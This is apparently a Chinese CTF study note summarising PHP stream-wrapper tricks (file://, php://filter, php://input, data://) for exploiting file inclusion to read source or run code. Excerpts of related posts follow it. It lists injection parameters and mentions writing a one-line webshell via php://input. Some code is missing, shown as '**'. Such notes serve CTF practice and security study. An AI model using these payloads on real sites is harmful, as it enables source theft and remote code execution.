php偽協議利用 總結

2021-10-18 19:29:43 字數 888 閱讀 1885

ctf比賽中經常會出現例用偽協議的web類題目,近期在進行rce剛好總結一下。

flie://

用來訪問本地的檔案,只能傳入絕對路徑(一步到底的檔案)

?file=file://

?flie=./phpinfo.txt

php://

php://filter

?cmd=php://filter/read=convert.base64-encode/resource=[檔名]

將內容**以base64輸出

php://input

構造之後用post直接傳輸**即可,例用hackerbar或者burpsuit

有許可權可以寫入一句話木馬

data://

?file=data://text/plain,<?php phpinfo();?>

data:text/plain;base64,**的base64內容(注意+=需要受用轉換)

PHP偽協議總結

所有測試均allow url fopen on,allow url include on php input 是個可以訪問請求的原始資料的唯讀流。post 請求的情況下,最好使用 php input 來代替 http raw post data 因為它不依賴於特定的 php.ini 指令。而且,這樣...

利用檔案操作函式結合PHP偽協議RCE

獲得原始碼 http ip port read source 1 if isset get read source define data dir dirname file data md5 server remote addr if is dir data dir chdir data dir d...

web偽協議總結

allow url fopen 開啟檔案 通常設定為on,使得可以訪問 url 物件檔案等。allow url include 引用檔案 通常設定為off,包含url 物件檔案等 均可在配置檔案,php.ini中檢視 通常位置 usr local php lib data 訪問本地檔案系統 例項 1...